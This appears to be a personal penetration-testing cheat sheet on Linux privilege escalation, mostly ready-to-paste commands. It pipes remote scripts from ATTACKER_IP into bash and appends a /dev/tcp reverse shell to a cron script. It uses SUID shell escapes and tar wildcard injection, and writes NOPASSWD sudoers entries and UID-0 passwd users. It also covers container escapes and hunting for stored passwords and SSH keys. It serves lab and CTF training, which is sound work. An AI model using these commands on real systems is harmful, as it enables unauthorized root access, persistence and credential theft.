Linux Privilege Escalation — Techniques & Methodology
External: Internal All The Things — Linux Privilege Escalation
Goal
Move from a low-priv shell to root (or a higher-priv user). Always enumerate fully before jumping to complex exploits — the easy wins are almost always there.
Restricted shell (rbash, no cd, tiny PATH)? Escape first → Restricted Shell Escape → then Shell upgrade.
https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/
📌 0) Automated Enumeration Tools (Run First)
Kali PEASS paths: /usr/share/peass/linpeas/linpeas.sh · /usr/share/peass/winpeas/winPEASx64.exe — full tree → Privesc Tools > Kali paths — PEASS-ng
Upload and run one or more of these on the target. They find most of the vectors below automatically.
# From Kali — serve stock linpeas
cd /usr/share/peass/linpeas && python3 -m http.server 8080
# On target:
curl http://ATTACKER_IP:80/linpeas.sh | bash
# or
wget http://ATTACKER_IP:80/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
# LinEnum
curl http://ATTACKER_IP:80/LinEnum.sh | bash
# Linux Smart Enumeration (lse.sh) — see **[[lse - Linux Smart Enumeration]]**
curl http://ATTACKER_IP:80/lse.sh | bash -s -- -l 2 -i # Level 2 = thorough
# Linuxprivchecker
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
python3 linuxprivchecker.py -w -o linuxprivchecker.log
# Linux Exploit Suggester
curl http://ATTACKER_IP:80/les.sh | bash| Tool | Link |
|---|---|
| LinPEAS | /usr/share/peass/linpeas/linpeas.sh · Privesc Tools |
| LinEnum | https://github.com/rebootuser/LinEnum |
| LES (Linux Exploit Suggester) | linux-exploit-suggester · https://github.com/mzet-/linux-exploit-suggester |
| LSE (Linux Smart Enumeration) | lse - Linux Smart Enumeration · https://github.com/diego-treitos/linux-smart-enumeration |
| linuxprivchecker | linuxprivchecker · https://github.com/sleventyeleven/linuxprivchecker |
These tools save time but can miss things — always understand manual techniques.
📌 1) Basic Manual Enumeration
Run these immediately after landing a shell:
alias
# Who am I?
id
whoami
groups
# disk group (GID 6) → debugfs read /etc/shadow → **[[disk Group - debugfs Privilege Escalation]]**
id | grep -E 'disk|lxd|docker'
# System info
uname -a # Kernel version (check for exploits)
cat /etc/os-release
cat /etc/issue
hostname
# Current directory & environment
pwd
env
echo $PATH
# What can I run?
sudo -l # CRITICAL — see [[sudo]]
alias # shell aliases — sudo shortcuts, root paths, privesc hints
alias | grep -iE 'sudo|root|pass|su |chmod'
history # Commands run previously (may contain passwords)
cat ~/.bash_history
# Users on the system — Linux vs Windows: [[Registry Hives and Linux Equivalents]]
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1 # Interactive users
cat /etc/shadow # (if readable — it shouldn't be)
cat /etc/group
# Network--
ifconfig / ip a # Network interfaces
netstat -tulpn # Listening ports — see [[netstat]]
ss -nltp # TCP listeners + PIDs (preferred on modern Linux)
ss -tulpn # Alternative to netstat
ps aux # Running processes — see [[Basic Commands]] · [[netstat]]
cat /etc/hosts
# Processes
ps aux
ps aux | grep root # What is root running?
# Mounted file systems & drives
df -h
mount
cat /etc/fstab📌 2) SUID / SGID Binaries
SUID binaries run as their owner (often root) regardless of who executes them — if one is misconfigured or exploitable, it can give root.
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find SUID + SGID
find / -perm /6000 -type f 2>/dev/null
# Find SUID owned by root
find / -user root -perm -4000 -exec ls -la {} \; 2>/dev/null
#a specific group
find / -group bugtracker 2>/dev/null
# Find all binaries with capabilities set
getcap -r / 2>/dev/nullCheck GTFOBins for any result
Visit https://gtfobins.github.io and search for the binary name → filter by SUID.
Common exploitable SUID binaries
# bash (if SUID set — instant root)
/bin/bash -p
bash -p
# find
find . -exec /bin/sh -p \; -quit
# vim / vi
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
vi -c ':!/bin/sh'
# less / more
less /etc/passwd
!/bin/sh # Type this at the : prompt
# nano
nano
^R^X # Ctrl+R, Ctrl+X to execute
reset; sh 1>&0 2>&0
# nmap (older versions with --interactive)
nmap --interactive
nmap> !sh
# python / python3
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# perl
perl -e 'exec "/bin/sh";'
# awk
awk 'BEGIN {system("/bin/sh")}'
# cp (copy /bin/bash to writable dir with SUID)
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
/tmp/rootbash -p
# env
env /bin/sh -p
# tee (write to root-owned files)
echo "hacker:x:0:0::/root:/bin/bash" | tee -a /etc/passwd
# date (read file contents as root via error output)
date -f /etc/shadow📌 3) Sudo Misconfigurations
Full reference: sudo — flags, sudo -l parsing, sudoers syntax, visudo, NOPASSWD, GTFOBins, LD_PRELOAD, writing /etc/sudoers.
sudo -l # Run first — see [[sudo#📌 1) sudo command — flags & examples]]Quick wins (if sudo -l allows)
sudo su / sudo -i / sudo /bin/bash # (ALL) ALL or NOPASSWD: ALL
sudo find / -exec /bin/sh \; -quit # NOPASSWD: find
sudo vi → :!/bin/sh # NOPASSWD: vi/vim
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'Grant NOPASSWD (when you have root — cron/tar/tee)
echo "alfredo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo -l && sudo su→ LD_PRELOAD · wildcards · all GTFOBins examples → sudo
LinuxExploiter
📌 4) Cron Jobs
Cron runs scheduled tasks — often as root. If a script is writable or in a writable directory, modify it to get a shell.
# Check crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
crontab -l # Current user's crontab
cat /var/spool/cron/crontabs/root 2>/dev/nullpspy64
# Watch for new processes spawning (use pspy to detect hidden cron jobs)
./pspy64 # Monitors processes without root
Writable systemd units (/etc/systemd/system/*.service) → edit ExecStart → systemctl daemon-reload → restart → root shell. Full walkthrough → systemd - Writable Service Privilege Escalation (e.g. spiderbackup.service).
Exploiting a writable cron script
# If /etc/cron.daily/cleanup.sh is writable:
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /etc/cron.daily/cleanup.sh
# Or overwrite entirely
echo '#!/bin/bash' > /path/to/cron_script.sh
echo 'chmod +s /bin/bash' >> /path/to/cron_script.sh
# Wait for cron to run, then:
bash -psystemd - Writable Service Privilege Escalation
Wildcard injection in cron (tar *)
When: A root cron job runs tar with a wildcard in a directory you can write to (e.g. tar -cf backup.tar * or tar -czf /tmp/flask.tar.gz *).
Why it works: The shell expands * before tar runs. Filenames can be crafted to become extra arguments to tar:
| Malicious filename | Becomes tar flag |
|---|---|
--checkpoint=1 | Run an action every 1 record |
--checkpoint-action=exec=sh shell.sh | Execute shell.sh at checkpoint |
Demo (run tar yourself to see the idea):
tar --checkpoint=1 --checkpoint-action=exec=/usr/bin/id -cf archive.tar *
# At first checkpoint, tar runs: /usr/bin/idIf root’s cron does the same with * in your folder → shell.sh runs as root.
Reference: BorderGate — Linux privilege escalation
Worked example — blaze (james / sudo tar … * in /tmp)
Why: sudo /usr/bin/tar -czvf /tmp/backup.tar.gz * — the * picks up files named --checkpoint=1 and --checkpoint-action=exec=sh payload.sh. tar treats them as flags, runs payload.sh as root.
cd /tmp
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'cassie ALL=(root) NOPASSWD: ALL' > /etc/sudoers
EOF
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
sudo -l
sudo su→ Full copy-paste variants: tar > 📌 Privesc — checkpoint & wildcard abuse
Worked example — cron archives writable app dir
Scenario: root cron every minute runs something like:
cd /home/alfredo/restapi
tar -czf /tmp/flask.tar.gz *You control /home/alfredo/restapi. cd into that directory — the cron job archives * from that CWD.
cd /home/alfredo/restapi
# Option A — touch
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
# Option B — echo empty file (blaze style)
# echo "" > '--checkpoint=1'
# echo "" > '--checkpoint-action=exec=sh shell.sh'
# Runs as root when cron fires — append NOPASSWD sudo for your user
cat > shell.sh << 'EOF'
#!/bin/sh
echo "joe ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
EOF
chmod +x shell.sh
# Wait for cron (often ~1 min), then:
sudo -l
sudo suSudoers line → sudo > 📌 2) sudoers file — syntax & meaning · legitimate edit → visudo
Other payloads for shell.sh
# Reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# SUID bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
# then: /tmp/rootbash -p
# New root user in /etc/passwd
echo 'hacker:$(openssl passwd -1 pass):0:0::/root:/bin/bash' >> /etc/passwdMinimal template (any writable cron + tar * dir)
cd /writable/dir
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'YOURUSER ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
EOF
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
# Or: touch -- "--checkpoint=1" && touch -- "--checkpoint-action=exec=sh payload.sh"
# Wait for cron — or: sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
sudo -l && sudo su→ Shebangs (cron scripts) · tar (flags + checkpoint) · ln - symlinks (archive symlink read) · Restricted Shell Escape > 📌 5) Allowed commands with shell escape (GTFOBins-style) (tar checkpoint without cron)
Symlink in writable web dir (read root files)
If you can write under /var/www/html and root/admin archives or backs up that folder with 7za -snl:
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
sudo /usr/bin/usage_management # or wait for cron — Project BackupFull @listfile + -snl walkthrough → 7zip -snl Symlink Read - usage_management Privilege Escalation
→ ln - symlinks · Archives - unzip 7z zip
📌 5) PATH Hijacking
If a SUID binary or cron script calls another program without a full path:
# Check what a SUID binary calls (use strings)
strings /usr/local/bin/suid_binary | grep -i "bin\|usr\|service\|python"
# If it calls e.g. "service" without full path (/usr/sbin/service):
echo "/bin/bash -p" > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid_binary # Now runs /tmp/service as root📌 6) Linux Capabilities
Capabilities grant specific root-like powers to binaries without full SUID:
# Find all binaries with capabilities set
getcap -r / 2>/dev/nullExploitable capabilities
# cap_setuid — set UID to 0 (root)
# e.g. python3 has cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_net_bind_service — bind to privileged ports (not directly exploitable for root)
# cap_dac_override — bypass file read/write restrictions
# e.g. vim has cap_dac_override
vim /etc/shadow # Can now read shadow!
# cap_sys_ptrace — attach to any process
# Used in advanced exploits to inject shellcode into root processes
# tar with cap_dac_read_search
tar xf /etc/shadow # Read any file
# openssl with cap_net_raw
# Various network attacks📌 7) Writable /etc/passwd
If /etc/passwd is world-writable (misconfiguration), add a root user:
# Check permissions
ls -la /etc/passwd
# Generate hash — SHA-512 (modern) or MD5 (older boxes)
openssl passwd -6 "NewPassword123!"
openssl passwd -1 "hacked"
# Append root-equivalent user (UID 0)
echo "newroot:$(openssl passwd -6 'NewPassword123!'):0:0:root:/root:/bin/bash" >> /etc/passwd
su newroot📌 8) Writable /etc/shadow
# Check permissions
ls -la /etc/shadow
# Overwrite root's hash with a known password
python3 -c 'import crypt; print(crypt.crypt("newpassword"))'
# Edit /etc/shadow and replace root's hash with the new one
su root
# Password: newpassword📌 9) Kernel Exploits
Last resort — kernel exploits are unreliable and can crash the system. Identify the kernel version first.
uname -a
uname -r
cat /proc/versionCommon kernel exploits
| CVE | Kernel Range | Name |
|---|---|---|
| CVE-2016-5195 | < 4.8.3 | Dirty COW - CVE-2016-5195 |
| CVE-2021-4034 | Many — polkit | pkexec - CVE-2021-4034 PwnKit |
| CVE-2022-0847 | 5.8 – 5.16.10 | Dirty Pipe - CVE-2022-0847 |
| CVE-2019-14287 | sudo < 1.8.28 | sudo CVE-2019-14287 - User ID -1 Bypass (sudo -u#-1 /bin/bash) |
| CVE-2021-3156 | sudo < 1.9.5p2 | Baron Samedit - CVE-2021-3156 (sudo heap overflow) |
| CVE-2017-16995 | 4.4 – 4.14 | eBPF verifier |
| CVE-2023-0386 | < 6.2 | OverlayFS - Privilege Escalation (FUSE copy-up SUID) |
| CVE-2021-3493 | Ubuntu | OverlayFS - Privilege Escalation > 📌 CVE-2021-3493 — Ubuntu OverlayFS |
| CVE-2022-2588 | 5.x | DirtyCred - CVE-2022-2588 (route4 / DirtyCred) |
# Search with Linux Exploit Suggester
./les.sh
./les2.sh
# searchsploit — distro + kernel (after uname -a)
searchsploit ubuntu 4.4.0
searchsploit -l "linux kernel" 4.4 --exclude="(DoS|PoC)"
searchsploit --cve CVE-2016-5195
# Metasploit
use post/multi/recon/local_exploit_suggester📌 10) NFS (Network File System) Misconfig
If the target exports a share with no_root_squash, a remote root can create SUID binaries on that share:
# Check NFS exports on target
cat /etc/exports
showmount -e TARGET
# If no_root_squash is set:
# On attacker (as root):
mount -t nfs TARGET:/exported/share /mnt/nfs
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# On target:
/mnt/nfs/bash -p # Runs as root📌 11) Stored Credentials
# Config files with passwords
find / -name "*.conf" -o -name "*.config" -o -name "*.xml" -o -name "*.ini" 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
# Bash history — commands with passwords
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
# Application files
find /var/www -name "*.php" | xargs grep -i "password\|db_pass\|passwd" 2>/dev/null
cat /var/www/html/config.php
cat /var/www/html/wp-config.php # WordPress DB creds
# Database files
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null
# Mail / logs
cat /var/mail/root
cat /var/spool/mail/root
grep -r "password" /var/log/ 2>/dev/null📌 12) Writable Files & Directories Owned by Root
# World-writable files owned by root
find / -writable -user root -type f 2>/dev/null | grep -v proc
# World-writable directories
find / -writable -type d 2>/dev/null | grep -v proc
# Files with write permission for current group
find / -group $(id -gn) -writable -type f 2>/dev/null📌 13) Docker / LXC / LXD Escape
# Are we in a container?
cat /proc/1/cgroup | grep docker
ls /.dockerenv
cat /etc/hostname # Often a short hash if Docker
# Container runtime groups — privesc vectors
id | grep -E 'docker|lxd'
groupsDocker group → host root
# Escape via docker group
docker run -v /:/mnt --rm -it alpine chroot /mnt shLXD / lxc group → host root (EDB-46978)
User in lxd group can spawn a privileged LXC container and mount host / at /mnt/root.
# lxc often lives outside PATH (snap)
export PATH=$PATH:/snap/bin
which lxc # /snap/bin/lxc
# Full walkthrough + exploit script:
# → [[lxc - LXD Privilege Escalation - EDB 46978]]Chain: Build Alpine .tar.gz on Kali → transfer → ./exx -f alpine-*.tar.gz → inside container: chroot /mnt/root /bin/bash
Exploit-DB: 46978
Privileged container escape (already inside Docker)
# If: docker inspect <container_id> shows "Privileged": true
mount /dev/sda1 /mnt
chroot /mnt📌 PrivEsc Checklist
✅ sudo -l checked?
✅ alias checked? (sudo shortcuts / root paths)
✅ SUID binaries found and checked on GTFOBins?
✅ Cron jobs checked (/etc/crontab, /etc/cron.*)?
✅ Writable systemd units? → **[[systemd - Writable Service Privilege Escalation]]**
✅ pspy run to find hidden cron jobs?
✅ Writable scripts or files in cron paths?
✅ Kernel version checked for public exploits?
✅ Capabilities checked (getcap -r /)?
✅ /etc/passwd and /etc/shadow checked for permissions?
✅ PATH hijacking possible in any SUID binary?
✅ NFS exports checked (/etc/exports)?
✅ Config files checked for stored credentials?
✅ Bash history checked?
✅ SSH keys found?
✅ Internal ports open that weren't externally visible?
✅ Docker / LXD group checked? (`id` → docker / lxd → [[lxc - LXD Privilege Escalation - EDB 46978]])
✅ LinPEAS / LinEnum run?
Related Tools
Related Notes
- Windows PrivEsc
- Shells
- Restricted Shell Escape
- Basic Commands
- ln - symlinks
- openssl passwd
- Sheet
- Post-Exploitation
- Privilege Escalation
- lxc - LXD Privilege Escalation - EDB 46978
- Dirty COW - CVE-2016-5195
- Dirty Pipe - CVE-2022-0847
- Baron Samedit - CVE-2021-3156
- sudo CVE-2019-14287 - User ID -1 Bypass
- pkexec - CVE-2021-4034 PwnKit
- OverlayFS - Privilege Escalation
- DirtyCred - CVE-2022-2588
- Tools
- Linux Tools
- Text Processing
- find
- grep
- Pipelines & Chaining
- SSH
- MetaSploit
- Post-Exploitation
- Training